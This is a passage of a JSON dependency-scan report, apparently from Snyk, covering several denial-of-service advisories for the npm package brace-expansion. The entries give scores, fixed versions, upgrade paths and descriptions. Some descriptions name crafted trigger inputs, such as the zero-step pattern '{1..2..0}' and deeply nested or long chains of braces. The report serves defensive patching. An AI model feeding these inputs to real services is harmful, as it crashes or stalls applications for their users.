"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
